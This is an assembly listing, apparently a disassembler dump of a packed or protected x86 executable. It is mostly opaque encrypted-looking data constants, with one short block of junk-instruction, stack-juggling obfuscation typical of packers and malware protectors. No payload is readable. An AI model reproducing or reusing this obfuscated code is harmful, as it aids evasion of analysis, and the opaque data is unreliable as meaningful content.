		dd 2C54A119h, 0EFB1C79Dh, 8B172CB0h, 843116A8h,	9A41412Ch
		dd 891ABEDDh, 0A84E2B74h, 0BC19BD34h, 496F0A5Dh, 4C22D76Ah
		dd 3FD67FC1h, 88A2178Bh, 0D37714D1h, 65C684A0h,	1A300B97h
		dd 41E5865Fh, 63811418h, 0FFDCBF23h, 66056047h,	80584B05h
		dd 0BCD34D1Bh, 879EAE18h, 0B80D9153h, 9604239Bh, 354854FEh
		dd 0E555D0EBh, 0F300000Ah, 2E0D684Fh, 0F0D3B691h, 2B086D4Ah
		dd 0F1D2B790h, 1A0E6B4Ch, 0A5823F5Eh, 7A5DE3C0h, 0A2853C1Fh
		dd 7B5CE4C7h, 58FC9F1Eh, 316292EEh, 520186D1h, 795FCDEAh
		dd 0AE51E409h, 0AA61095h, 0EB20000h, 0D06F4C29h, 0BB192F7h
		dd 0D16A492Ch, 0DB093F6h, 9F5B4F2Ah, 81E4C37Eh,	5E3B1CA2h
		dd 86E3C47Dh, 5F3A1DA5h, 0AF19BDDEh, 90316292h,	0EA5240C7h
		dd 0AECDAECDh, 2BC3BC0Ah, 0BB1F8337h, 372BC30Dh, 43F55132h
		dd 74372BC3h, 0FAC174E8h, 264364D9h, 38E3E38Eh,	2BB81C7Fh
		dd 4E3DE7CEh, 4EB11B00h, 0EB8E70C3h, 0A5BBA618h, 0AD24B824h
		dd 2A157E09h, 0FAB3667Fh, 3D99FA99h, 0FF2A058Bh, 129FB802h
		dd 0EC9F3B8Eh, 4BF5E609h, 69F5D268h, 7BCD690Ah,	3CF96E09h
		dd 42E15A0h, 98FB9855h,	9E95FFBh, 52CEF96Eh, 911A43E7h
		dd 0D0F3F3A1h, 0EF73486Fh, 284BD75Ah, 3A8C284Bh, 0FDE3A682h
		dd 0DDFA4261h, 0ECCF7AE6h, 75167354h, 8104B216h, 0A73BE3A6h
		dd 0AE893112h, 694B003Ch, 782B985h, 9C4h, 6E0B2C90h, 0B0D5F24Dh
		dd 6B0E2993h, 0B1D4F348h, 6D082F92h, 0E558C179h, 3A84A7C2h
		dd 0E25B781Dh, 3B83A0C5h, 9BF8791Ch, 6291893Fh,	7EF9AE31h
		dd 0F6CDEA52h, 2C0BB695h, 1D3E8B17h, 85E683A4h,	0C3F442E6h
		dd 8125372Bh, 372BC337h, 85199408h, 0C3F442E6h,	57CB372Bh
		dd 0C05046E2h, 0EA89372Bh, 2BC3F84Eh, 9623BF37h, 209FFDBCh
		dd 9BF89B07h, 2BC3893Fh, 8732AE37h, 744040E4h, 0E77B3DE2h
		dd 0D2A9E784h, 5F6CC111h, 0E35B78CDh, 50161D16h, 3FA37AC2h
		dd 0E6C1795Ah, 0F442E685h, 653162F3h, 58C4FFD8h, 28EB9BD5h
		dd 8CA8138Ch, 0BD9EA510h, 5229800h, 53EA23Eh, 17A10566h
		dd 28316226h, 9B2201B4h, 0EC642EBCh, 0BA8157ADh, 8F33Fh
		dd 5A7DC100h, 84A31C3Fh, 5F78C2E1h, 85A2193Ah, 597EC3E0h
		dd 970283Ch, 0D5F693B4h, 0A294C6Bh, 0D2F194B3h,	0A9284D6Ah
		dd 90D86ECAh, 88DF3162h, 0CDEA520Fh, 4A6DD5F6h,	0CCEB5271h
		dd 0F46CD4F7h, 0CCF76B4Ch, 2E7552EFh, 0B3174F8Fh, 372BC305h
		dd 183AA63Ah, 259D85B9h, 0A6026102h, 372BC310h,	99143389h
		dd 0E4D5B005h, 7E36EAC9h, 5A1A7h, 0A05B2000h, 0A4C7h, 3B3DE274h
		dd 5FE7C4A7h, 81371D78h, 0C83195AEh, 0BEB6F61Bh, 1A35DF1Fh
		dd 57FE812Fh, 0E10DD219h, 0D86D200Ch, 3A9Ah, 9D5B1D00h
		dd 0E9CAA9CAh, 0D14D7651h, 0C376C064h, 6A49372Bh, 5368F4D3h
		dd 0C46101F7h, 225AFBD7h, 9FB80320h, 84F41B2Ah,	0C585DCFh
		dd 3B000000h, 3184A318h, 29DF4B6h, 5B730000h, 0E7C078A0h
		dd 605B7CC4h, 0A70360FCh, 3DE274CFh, 0F497F468h, 628EE650h
		dd 0F045D931h, 8EC46FCBh, 0F34D3162h, 71CCEFD4h, 0E9486D56h
		dd 0EDD6A0B5h, 0CEAD67C5h, 4C026152h, 0D657BD9Ch, 0AF0EBB6Ah
		dd 22FBBE6Fh, 0FED96241h, 684B284Bh
		dd 1BAD09D1h, 1C3162BFh, 0DA91C80h, 3BAB0865h, 0B701A5C6h
		dd 883BB90Ah, 0CEED8814h, 0C6F5473h, 7AF5C742h,	0D267CB02h
		dd 506B4CF1h, 9D85B918h, 2601B820h, 42FCDFBAh, 1E3D5E65h
		dd 173481A6h, 0FDB58EA9h, 526205Ch, 80A398BFh, 3085193Eh
		dd 0A158AD13h, 0B2F45047h, 8ACC955h, 3BB99CC4h,	35F7CF81h
		dd 695EF8B8h, 6146FFDCh, 0B89F2704h, 9D5B0483h,	0BF9CFFCAh
		dd 861A2106h, 8C391EA5h, 553611AFh, 0C3249236h,	871B372Bh
		dd 2698BB32h, 8E9C3401h, 182304BFh, 9AA1863Bh, 24DE1EBFh
		dd 1C80BB9Ch, 89B51480h, 6443FAD9h, 4776C35Fh, 7E36EB28h
		dd 43104h, 0FB446700h, 77E33C0Eh, 138F7CE2h, 59EF4B28h
		dd 5E372BC5h, 0D2105EC2h, 31E0E198h, 52B33481h,	0F89A1AEFh
		dd 6EC7F7DDh, 56F291F2h, 372B01E0h, 12B9D39h, 900C372Bh
		dd 0F34811Dh, 61C07AA7h, 0C266053Dh, 372B0174h,	4162D74Bh
		dd 0DD4B09FCh, 6DC45108h, 0F36FF3D4h, 2F08B596h, 0BE1A791Ah
		dd 372B0508h, 5D365C1h,	78E4372Bh, 0FFDC69F5h, 4A536641h
		dd 4EF3B3EBh, 93290A69h, 0AB8801B4h, 0AB0F3413h, 372B0500h
		dd 2043899h, 9BF89DBAh,	5EA5CF8h, 51CD372Bh, 597EC7E4h
		dd 56DC662h, 3A9B372Bh,	9EB90002h, 727D5FFBh, 49F4372Bh
		dd 0D74B6CD1h, 8FEC70ECh, 11FE48ECh, 5DC1372Bh,	212A8E13h
		dd 1FAAAD4Bh, 3668002Eh, 0FEE86E7Eh, 52E9FFFFh,	8BA8CDEAh
		dd 54771433h, 0D5F6CDEAh, 98D64A6Dh, 74E05DD1h,	7B40F585h
		dd 0A6813B18h, 9B22019Dh, 0AE1B87BCh, 2BC7A10Ah, 5F9F3E37h
		dd 5D381FA7h, 0BF1BC37Eh, 372BC709h, 4D2EB22Eh,	0C73C8A2Eh
		dd 9F03372Bh, 0AAB5112Ah, 67B825h, 78977DA1h, 0F5ADC344h
		dd 0F886B7BBh, 3A8FDADEh, 6278h, 0A05BFF00h, 6800A4C7h
		dd 3D3DE274h, 8E4CFA5Eh, 0EF733162h, 704BD75Ah,	628E63D4h
		dd 9BF89B31h, 628E893Fh, 348DAE31h, 9B3A8F13h, 939EB163h
		dd 26F277EDh, 91000000h, 8CE056F2h, 4BD73162h, 53D579FEh
		dd 95372BB6h, 0FFFD7A10h, 10F497FFh, 97000000h,	0ADAA0ED9h
		dd 41F4196Dh, 29CF4C6h,	52730000h, 0D5F6CDEAh, 52F4A6Dh
		dd 5EFA9956h, 3DE7A021h, 9F298DEEh, 0A0316FE3h,	9804893Ch
		dd 7A3C0A3h, 316FE3B1h,	0BAF1A86h, 316FE3A1h, 0E2B2EA4Bh
		dd 77F2C6CBh, 0F147E380h, 0C6316FEBh, 36ADEF5Ah, 2A000000h
		dd 0A4C7A05Bh, 785FE4C7h, 0CE6ADF43h, 3DE7B619h, 1BBF8418h
		dd 316FC8B1h, 9DA68138h, 1F2403BEh, 0DCC6F657h,	9FDF4364h
		dd 0F716FE3Eh, 5577F2DFh, 0B0h,	0CDEA52D2h, 4F68D5F6h
		dd 0C8EF5774h, 4F68D0F3h, 8E2A492Ah, 372BC338h,	0FA4063FFh
		dd 0B5CC68DDh, 0DE372BCDh, 0E244166h, 92F1924Bh, 4C2F08B1h
		dd 2BC55EE8h, 48FD6137h, 0E52B82ECh, 5A39A53Dh,	86E3C479h
		dd 64C018A5h, 316D6FD2h, 77E579E5h, 57A2A4F7h, 0A95ADFE4h
		dd 8F000004h, 52711433h, 8CAFCAEDh, 57741136h, 8DAECBECh
		dd 66721730h, 0D1F64BB2h, 0E2997B4h, 0D6F1486Bh, 0F2890B3h
		dd 2C88EB6Ah, 3162949Ah, 524DCA9Dh, 8EADC8EFh, 17741136h
		dd 0F0548C34h, 372BC346h, 4279E579h, 0C3338521h, 9804372Bh
		dd 0B89F2704h, 2DAA1F83h, 63D57112h, 97372BC3h,	0DDFA06C9h
		dd 930F82CEh, 9ABD0526h, 0E23A82A1h, 2B98F046h,	0C75BC737h
		dd 0ABD188A2h, 14338E16h, 0D3771488h, 3DE7FB04h, 0E7C4A73Bh
		dd 0E407B5Ch, 0B07B1F38h, 2E4DD1EAh, 6F733C8Ah,	2A9F0331h
		dd 7301B511h, 3495316Fh, 0C47D5E08h, 0BD7C56E3h, 6E12E75Fh
		dd 4BB4014Dh, 5635A935h, 0A3FE25F2h, 7DD9BA3Bh,	3BA3BCCBh
		dd 48C570ECh, 5AEC482Bh, 5D3BA3BCh, 0BCD365C1h,	78E43BA3h
		dd 0ECC987E4h, 1812AF04h, 0B59FFA4Fh, 0C472D606h, 0FB3BA3B1h
		dd 3C98FB67h, 316A063Ch, 2E983C5Fh, 1125FA7Dh, 5172118Dh
		dd 0EBCC73EBh, 0AB61277h, 8325FA7Dh, 0FD781D3Ah, 6Ch, 0C37FD57Ah
		dd 3BFF372Bh, 9E200360h, 0A690CB9h, 0C37BCD69h,	0A03C372Bh
		dd 0C3D167C3h, 7AE6372Bh, 0CE56ECCFh, 9A128075h, 39AA3841h
		dd 2598EBA5h, 9BF1261Bh, 2E983C07h, 0C7372B78h,	0F64C3666h
		dd 2E97B4D1h, 78E452F6h, 47DB372Bh, 0EF44E0DBh,	15372B78h
		dd 90DE88B4h, 240A5477h, 133085ACh, 60D672AAh, 57372BA5h
		dd 0B53257CBh, 9733EB52h, 372BC321h, 2D168A16h,	0A642B70Eh
		dd 1C515901h, 0ACCFAC30h, 2B65BE08h, 0A81D8137h, 0EC10B193h
		dd 0C1A4833Ah, 0D365C1A2h, 0E4372B65h, 0C25E79C7h, 19E3D377h
		dd 0F4C5372Bh, 7E362CDAh, 0FFFF50B4h, 0EA5233FFh, 71EDCA72h
		dd 0B10A294Ah, 0B6E3AD96h, 5743696Fh, 280BBE22h, 0F8D2B790h
		dd 0A3076441h, 3DE781DCh, 0FC4AEE8Dh, 0C3316F81h, 2967EA5Fh
		dd 2BBC48FFh, 0F3C854DBh, 6F14FD57h, 0ECCB7431h, 6B4CF4D7h
		dd 0A8D47550h, 7CA00141h, 0F20F7598h, 42DB77h, 5B5C0000h
		dd 0A4C7A0h, 3DE7B6D7h,	0F695F66Ah, 6FC8E452h, 1CB8DB31h
		dd 316FC8AAh, 388D118Dh, 0C80DA703h, 46E7316Fh,	0B40F2C16h
		dd 8134A893h, 0F2DF9DB0h, 0E1F377h, 0DE900000h,	68E91246h
		dd 0CB4CF9C6h, 0AECDEA52h, 2F14338Dh, 1E3D06B3h, 9CBF84A3h
		dd 1B380324h, 45E184A3h, 372BCC3Ch, 0ABCEE951h,	52C53088h
		dd 6F440130h, 280239A5h, 93B40B71h, 0CBA834A8h,	0E7BABC6Fh
		dd 4427BB3Dh, 0DCFFD867h, 94F14463h, 4122FBBEh,	0A11585E5h
		dd 9F3B583Bh, 3BA12529h, 25F244E0h, 59C53BA1h, 70FD48D4h
		dd 700E3D3Eh, 0C25E363Dh, 1E00EFA1h, 752F42B3h,	317FCB16h
		dd 902528C4h, 0B56DD0F3h, 0AD092E96h, 3BA1221Bh, 19CE801Ch
		dd 80ACD4A3h, 4F6C0995h, 0D947D5F2h, 0CE5D6E1Dh, 1AE70F5h
		dd 368A0000h, 0E8577411h, 3389AACFh, 0E9527114h, 3588ABCEh
		dd 0B7637712h, 0B9DCFB46h, 6603249Ah, 0BEDBFC45h, 6702259Dh
		dd 972185E6h, 0A8316299h, 0EF5278FFh, 368EADC8h, 5BF37411h
		dd 2A9C38A0h, 0D372BC3h, 8AB1962Eh, 75168A16h, 0E7B606D1h
		dd 9EA5393Dh, 6FC8903Ah, 0A3DB7A31h, 0F2DFDEF1h, 0C9B277h
		dd 52350000h, 209632EAh, 17372BC3h, 5774178Bh, 69F5CEE9h
		dd 0E8D3F44Ah, 0D9FAC174h, 0B643FC64h, 3EEFDAD4h, 84BF2367h
		dd 0DCBF8418h, 0D46146FFh, 2BAF0970h, 1D3A8237h, 0C4E35B78h
		dd 4926D5FFh, 0C65D8E2Ah, 9AD43DE7h, 6442A32Fh,	3C59C5DDh
		dd 0E98A6316h, 0A1824C4Dh, 90F36F3Bh, 4C290EB3h, 67F5D26Fh
		dd 5D6F5CF3h, 0DDA62318h, 0FB000000h, 26056047h, 0F8DBBE99h
		dd 23006542h, 0F9DABF98h, 12066344h, 0AD8A3766h, 7255EBC8h
		dd 0AA8D3417h, 7354ECCFh, 50F49716h, 316298E6h,	52098ED9h
		dd 0CEADC8EFh, 9D5A0180h, 2B138F39h, 622CB037h,	942AF6D4h
		dd 0B99A2FB3h, 26452601h, 2B5F3482h, 0B4970B37h, 8F13280Fh
		dd 52D85F3Ah, 0D5F6CDEAh, 52F4A6Dh, 5EFA9956h, 3DE27432h
		dd 0C9EA8915h, 7552E870h, 44675CE9h, 0DDBEDBFCh, 596245FEh
		dd 35307A17h, 0A03C4CD5h, 168E3615h, 761589AEh,	0F407B115h
		dd 0A4383162h, 398E2A11h, 3D3EB85Fh, 1EA6609Ch,	0C77F5C39h
		dd 43F8DBE0h, 0A5045F64h, 0A9318979h, 0CEAB3710h, 497255EDh
		dd 91B6092Ah, 71BAE4AAh, 0B78AB669h, 0D1B9E2Bh,	78000000h
		dd 0B309BF1Bh, 0B22E30A8h, 60E78007h, 0F2C9EE52h, 754E69D1h
		dd 0F3C8EF56h, 72496ED0h, 0F0CBEC51h, 72496ED3h, 0F6CDEA51h
		dd 73486FD5h, 0F3C8EF50h, 4EC8370h, 89241C89h, 4C381E3h
		dd 83000000h
		dd 1C8704EBh, 21685C24h, 89000032h, 0EC81243Ch,	4, 50243489h
		dd 0F559D668h, 0BE565810h, 1CA64561h, 0F681DEF7h, 0B9529D2Bh
		dd 355EF029h, 56A64905h, 32E062Dh, 58C789DAh, 24348B54h
		dd 4C481h, 89500000h, 468F50F8h, 348B5808h, 0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 53243C8Bh,	0C381E389h
		dd 4, 4C381h, 1C870000h, 35E95C24h, 74FFFBEBh, 0A82DFF03h
		dd 654B8E88h, 5CABB892h, 0C5030649h, 5CA4E0FFh,	0FB5E6A79h
		dd 99A7200h, 0D2152BACh, 0D48C5590h, 0A570841h,	0B16F3080h
		dd 0A0865AF4h, 1813258Ah, 49DB6F29h, 799373ECh,	0FEEC0D43h
		dd 0ADD00AD4h, 0C76E2C92h, 0D3102C8Eh, 0AFC6690Eh, 7DB6736Ah
		dd 41DA5CF4h, 1394619Eh, 0DAAF40E0h, 13F51516h,	8D7530D2h
		dd 8AF207D0h, 0A7682E3Eh, 9DEC59B1h, 2A573325h,	11CF4E32h
		dd 25635C97h, 0CF4D2AF3h, 0D1D13EFDh, 4EB13DEh,	6DF660D7h
		dd 49DE9h, 0BA228000h, 0BB92D13h, 0B8249CA2h, 0AB22F11h
		dd 0B92B9DA3h, 72EA3210h, 0C7F95014h, 734DE460h, 3B05AC10h
		dd 0F7B31ACAh, 374D0C93h, 287EC2E7h, 6ED64F9Ah,	14D0340Ah
		dd 8DFBC55Ch, 0E3407ED7h, 5DC6F861h, 0E4407EE7h, 0E9582533h
		dd 0D9F81337h, 0A6700B40h, 0C168DC49h, 71D884FFh, 2BEE7115h
		dd 9CC9307Eh, 188143A2h, 6E501839h, 0EED049F3h,	2C54CD77h
		dd 0D0DD3A48h, 7EBFE137h, 74E14D36h, 0F5CBAF0Dh, 3099D193h
		dd 0D330950Eh, 36A93011h, 0C9302A80h, 1B002A51h, 1F449ABh
		dd 5A48h, 0B1122C00h, 0C38BAA33h, 6ED64F71h, 94AF68F7h
		dd 770CC930h, 0B3DE46ABh, 11701F4h, 0A5000000h,	0B728D74Fh
		dd 0C9309404h, 5CC5E4C5h, 0DB420262h, 59C07CE5h, 0DF46FE67h
		dd 0F672FCADh, 556B02ECh, 59D74EEEh, 0DE41F822h, 0C9303D1Bh
		dd 0E7AC8DACh, 41A5929Ch, 0AF142A83h, 4F2E9C35h, 0CCF26BD9h
		dd 6B75EC58h, 0BF290610h, 0D8136105h, 0BA855E78h, 0EB59CAF4h
		dd 0B21B5372h, 34AD178Ch, 4AF26E50h, 84BAF2D3h,	7E39A01Ch
		dd 0E0341905h, 2101F496h, 28D6A653h, 0BBF37130h, 70EBh
		dd 75FD8F00h, 0A7004DEDh, 0CF560E76h, 3587CFEEh, 0F26BD94Fh
		dd 71E854CCh, 78D5413Ah, 0C1FF560Eh, 5A64FD67h,	0D0EE77E5h
		dd 5668F173h, 0F5EB72EAh, 0EFA8A48Eh, 51A58A94h, 0E201F4B1h
		dd 5Ch,	0A6671550h, 0FA6ADC8Bh,	69610688h, 3E76EE57h, 0A73EA600h
		dd 2BB22A99h, 59F03A41h, 86A8902Bh, 64A605h, 2FDBDC9Fh
		dd 84CCEDC9h, 31984CBAh, 3ED74F83h, 0AC3DCCDFh,	0EB59CACFh
		dd 0ED72EBCAh, 0C9307A2Bh, 158AEE8Ah, 0C9307A66h, 750E4667h
		dd 99E044A9h, 11501F4h,	0A7000000h, 0D69D34Fh, 0EEB1107Fh
		dd 0F1B9EFEAh, 77ED5668h, 41ED96EEh, 59F06CD4h,	0E07F731Fh
		dd 0C92FF339h, 0F692B392h, 74100369h, 0F6B4ACFh, 8910D431h
		dd 4779E0A8h, 0F1CF66DEh, 0AC53CF94h, 0EBD78833h, 416041C2h
		dd 0BCD8F9D8h, 24BD1F82h, 4BD44D05h, 0C2EBD78Eh, 61CE5823h
		dd 7CE85F04h, 4CE5C4E5h, 0D44C1172h, 0F1D0F168h, 77ED5668h
		dd 9F8BF0EEh, 3A9351B2h, 0AFF6980Ch, 0EA5769FBh, 0F4CAEB72h
		dd 6948D18Bh, 12B7121h,	2B150000h, 0BD9C05B7h, 2B1547F5h
		dd 0A09E07BDh, 25049D3Fh, 660A4C04h, 3BD9DD7Ch,	4D6CE8E7h
		dd 34B01729h, 6BD4DFADh, 1BB584F2h, 8916723Ah, 0CF742143h
		dd 0CA71EE8Ah, 3C2EC07h, 37A51C22h, 0CAAE8FAEh,	155DC3B8h
		dd 0AEE6592Dh, 289C0937h, 9E46BF81h, 18CC3907h,	3AE49F81h
		dd 55FC68DDh, 0AFBC0363h, 4530FBh, 37820000h, 0ED72169Fh
		dd 0C930947Eh, 0B48AEECFh, 904BD44Bh, 39C93094h, 0E8713918h
		dd 3094C477h, 9C86FDC9h, 0F468DBE5h, 42044C6Dh,	980763B2h
		dd 0C9309431h, 9BFF9BBAh, 30945504h, 1F5776C9h,	7F22B6h
		dd 37900000h, 0E976129Bh, 0CF74A097h, 5C1F80E4h, 6DC2EC88h
		dd 6D4CF053h, 0EB725325h, 5DF470D5h, 0DB420263h, 0EC899044h
		dd 80AAD1C2h, 0D6B23293h, 5FC67EE8h, 0D6851A7Eh, 0F7C2EC87h
		dd 71379ED6h, 0AF3054E1h, 0C935E5AEh, 0A3B57F0Dh, 356D6411h
		dd 0F06F0B7Dh, 0C9232C49h, 1B82A382h, 9D04C025h, 0FD949EE5h
		dd 7BE262C3h, 0BC54125Ah, 918A1571h, 3ACF6C89h,	841B7F1Bh
		dd 0C2EC5ED5h, 369FD7F6h, 0D9B3784h, 9FBE2795h,	0CCBEDABEh
		dd 0DEB65B7Ah, 6A0D2EC8h, 18988B0Fh, 0EDEE7139h, 5ECF79E0h
		dd 6BD8E67Fh, 0F56E50F9h, 75369F1Ch, 0E8C9500Ch, 92EB469Ah
		dd 0B293B232h, 5C0FB42Bh, 8AF12EA6h, 9252B3A0h,	1615F3Bh
		dd 0ABE3C25Bh, 2DB43095h, 0B211AE13h, 8CB2930Ah, 1F86A715h
		dd 25121C67h, 93AD04C0h, 0BF2BB232h, 8,	0B72B150Dh, 0C7754D05h
		dd 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h, 0F960E442h
		dd 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h, 74BD68EDh
		dd 3C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	18B1h
		mov	[esp], edx
		push	ecx
		mov	ecx, 6495DCFh
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	117Eh
		mov	[esp], edi
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		db 0F4h, 0B8h, 0F3h
		dd 3064961h, 49E0FFC5h,	142580B2h, 9A248D60h, 83196A6Fh
		dd 7A2D4644h, 342B5E98h, 60006653h, 4D632435h, 80078414h
		dd 5866D180h, 647B2BE1h, 0F822B125h, 76333E1Dh,	2D63F757h
		dd 0B92090F6h, 4416DF19h, 7303380h, 744D9782h, 56039F9Ah
		dd 15718043h, 7063A26Eh, 7A7E9928h, 0E3562CF3h,	0BC4FED84h
		dd 0D731E9BEh, 0E846EA3Ah, 0Dh,	0F364A174h, 0EEE3CC28h
		dd 120A917h, 5E957DAh, 70000000h, 0A876CD8Fh, 880F5B59h
		dd 6, 32E2D981h, 0C3812CE0h, 6D83h, 0E24182B8h,	1B37680Dh
		dd 0D0810000h, 38628689h, 0F5338B5Ah, 0A6CEF681h, 8F0F1248h
		dd 3, 8128E080h, 3F7596F6h, 1F810F06h, 0F000000h, 198Fh
		dd 14E900h, 0B5B70000h,	0F50C65A5h, 6842D954h, 86C80F5Ch
		dd 74459816h, 0C681331Ch, 48625D66h, 0E9563389h, 11h, 9F6178B7h
		dd 434371DEh, 9FB1BB15h, 9FD50D2Eh, 0EB835822h,	4B4BF502h
		dd 0F01EA83h, 0FFFF9485h, 8DCB8BFFh, 49642E8Dh,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0DE8FABE5h, 0BB665C21h, 8D895F33h, 6442F5Dh,	0DE9h
		dd 93365E00h, 0B63307D9h, 54412BADh, 0B70FA4B5h, 7985C7D6h
		dd 0CC064406h, 6A00006Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 34B2C351h, 95314FB8h
		dd 6440345h, 107185C7h,	644h, 0B58B0000h, 6441E89h, 318DB5FFh
		dd 0B70F0644h, 0F995FFF0h, 8B06440Bh, 441929B5h, 6BB86606h
		dd 0FF006A46h, 441C4D95h, 0EBC08B06h, 17DBC76Bh, 7BF80F0Ch
		dd 2377456Dh, 8A8D6ADCh, 0CC8F8998h, 94F39058h,	4D2DC2C6h
		dd 0F55CCE6Bh, 0A2ED6F24h, 756E6F8Fh, 7426501Dh, 0FCED3927h
		dd 38CD7180h, 0BE1AC69Ch, 745FC61Bh, 22EA62EEh,	82DA6C67h
		dd 6DD22492h, 3D0EE036h, 7F9AE827h, 559D016Dh, 0D4BA621Eh
		dd 0CBE2C026h, 4BC1196Eh, 1CE195B6h, 1FA9CC2Eh,	18E1F959h
		dd 1FB304EBh, 89E905B5h, 0E6000005h, 5769C07Ch,	0E2DC75EFh
		dd 4977DE7Eh, 0F3CD64D8h, 0A4862F95h, 0BE26807Ch, 6BE2917h
		dd 8A3291AFh, 3CA81D23h, 2AB5D195h, 0C2E7306Fh,	4FBC0E58h
		dd 93F76ED6h, 0CE8636ADh, 872E96F0h, 3BCB4CB9h,	0BF7AE5B6h
		dd 8C9306Dh, 0BF425B29h, 0A6C2A687h, 2FF68239h,	226A4BC9h
		dd 84E1DFBBh, 15A21193h, 0A786AE4Dh, 69571F3Eh,	0C1E81BFCh
		dd 0A9351B2h, 9392592Bh, 55CC78ECh, 0ED745574h,	95F173D3h
		dd 0A0D683F1h, 4C27C9F8h, 309228D3h, 0E480A1C9h, 3092C07Bh
		dd 602809C9h, 0E8D6B2F9h, 0F08BC379h, 0BB5CC926h, 0B7DC9DDh
		dd 0C01C2B59h, 3A046041h, 0FA531BC9h, 77AC5DC4h, 21B37184h
		dd 5610524h, 8817CD3Bh,	0C92FCFD1h, 3A93DBFAh, 4004605Eh
		dd 8EB0F8D9h, 5430A913h, 2A920E30h, 2FD006B5h, 94E6C7C9h
		dd 2F5502CBh, 9EA0E82Fh, 1A24BD27h, 4C025AAh, 49DBC9Dh
		dd 241ACA3Ah, 0F29801BBh, 0D7AF9D89h, 2E9582ACh, 0AA8B3191h
		dd 1CC83D03h, 9E5C1A85h, 67DC92Fh, 0BDCF371Ch, 636401F3h
		dd 0D6000000h, 2BEE7115h, 9CC93094h, 5ACBF5BDh,	56B08EEAh
		dd 1E5677EEh, 945F1887h, 77CC930h, 0B3CE361Bh, 16701F4h
		dd 0D5000000h, 56B72B15h, 34AEEE1Eh, 5BC2E3F8h,	980C327Ah
		dd 0EFD1B52Ch, 0BA84CC78h, 3D039A4Ah, 7954BC4h,	4A19C05Fh
		dd 93B2C930h, 9AFC69E1h, 126922BBh, 9BB2B08h, 0BF259EA0h
		dd 0D94FA416h, 58CCF26Bh, 4AB688ECh, 622A0B92h,	0BF81E5FBh
		dd 20019844h, 70071368h, 0E75D24Eh, 371637AEh, 0F9C78FAEh
		dd 4C0F908Fh, 7DC93094h, 0EAD47D5Ch, 6C52CB79h,	7E071BF4h
		dd 0F24E851Fh, 690D4AD3h, 0EB72EA57h, 0D08CF4CAh, 0D237E398h
		dd 1F41282h, 96B3h, 0EEA5D700h,	9C81D46Fh, 152694DCh, 1E7DB067h
		dd 2A620993h, 0AB32B214h, 0B8CA2D95h, 3BDCE5h, 5F1A85E8h
		dd 68C93053h, 7B22D49h,	0C0C93053h, 9AA4C0E1h, 0F2EB725h
		dd 0EE95DE47h, 0EC71D744h, 7150C973h, 61C7F950h, 0DB447AE3h
		dd 0C4BFF861h, 2F99A75Ah, 8B4ED1B5h, 3CC93053h,	1363551Dh
		dd 2001F471h, 5Bh, 5B097A44h, 19ABE3C2h, 0F26BD94Fh, 863EA896h
		dd 2B91F0CEh, 77A3D8B2h, 803BA4C0h, 49C93094h, 9407B22Dh
		dd 0E1C0C930h, 50B688C0h, 4F8F3D94h, 6BF46DD7h,	0C93094ADh
		dd 0EA73F154h, 56CF6DD4h, 15E73348h, 6B1E0873h,	48B8BA19h
		dd 0CE861F23h, 0F4B18CF8h, 1A901h, 4F1B0000h, 0B2122CD3h
		dd 93EEAD32h, 0FEDFC930h, 2085BBDFh, 541C3DA4h,	0D292F3CDh
		dd 0A8C1C4B6h, 647DB76Fh, 0B6CDB52Ch, 0A9138F6Ch, 26AA4600h
		dd 303402B9h, 0CBEACBC9h, 50DA30AFh, 3213CF74h,	0F13095ABh
		dd 0EC18AB6Eh, 0EA910EC2h, 0E3C2EC17h, 0B495B4C2h, 2C2231Dh
		dd 1853049Bh, 86CC2ECh,	5A12CA36h, 0AB18F521h, 35AE9039h
		dd 0BB28168Fh, 0F0536D09h, 839D044Ch, 64C12EF8h, 77F49E0h
		dd 2CFBB038h, 126h, 0F7593A48h,	33029EB3h, 9B37C97Bh, 62047612h
		dd 0E65C8E70h, 4BAC0898h, 8CFA0B39h, 0B0C554FEh, 460EC89Bh
		dd 606FBD22h, 0DEACCF74h, 0BAAA3D8Ah, 5F2961CAh, 0F183E77Eh
		dd 0CC29A2E9h, 0EE536D24h, 0CB38064Eh, 2F0F7D19h, 5837EF25h
		dd 3B05ACE4h, 0BD831ACAh, 0A0248348h, 7D061881h, 0E57A1EB1h
		dd 0C2EBCB36h, 823AA997h, 70D5EBA3h, 0FB6B5DF4h, 38FBAFEAh
		dd 44h,	1E4A385Ch, 56EDD699h, 0C68833ACh, 6041C2EBh, 9F379A28h
		dd 0DA4C7216h, 0D946226Ah, 0C9309472h, 0DC43DAFBh, 0C930941Dh
		dd 6C012D56h, 0B6294DC8h, 0C9309453h, 881CB594h, 72h, 0F272D2ECh
		dd 0B0024A6Bh, 76129B37h, 74A097E9h, 4ED7F6CFh,	0F8511370h
		dd 7EE75DC6h, 0EC8935E1h, 59C020C2h, 0EC8813C6h, 0B495B4C2h
		dd 30B4132Dh, 62CCB7A9h, 2FFB80EAh, 4AE361C2h, 4D29640Ch
		dd 35ECC3D2h, 0B82816C9h, 1B3A4C04h, 142B0D7Fh,	0F48636ABh
		dd 86CE5D53h, 0C4211Fh,	909AE199h, 9AFE37DBh, 0FB61C0FEh
		dd 81092CB3h, 0DBFACF6Ch, 9B37C072h, 0CEE97612h, 3FCF79F8h
		dd 0DDE3871Eh, 7722BD64h, 50C2E730h, 0E8C95071h, 0BF259EA0h
		dd 0C8B2A9DBh, 0DBE3A820h, 9F043A93h, 0E6D8BC25h, 7E5FC67Eh
		dd 53E2A936h, 7216C6E3h, 540EB400h, 93DB5580h, 74D13EE8h
		dd 6FF094F0h, 0C37AC0ACh, 0DD743C1Dh, 5BC282E3h, 2440FC65h
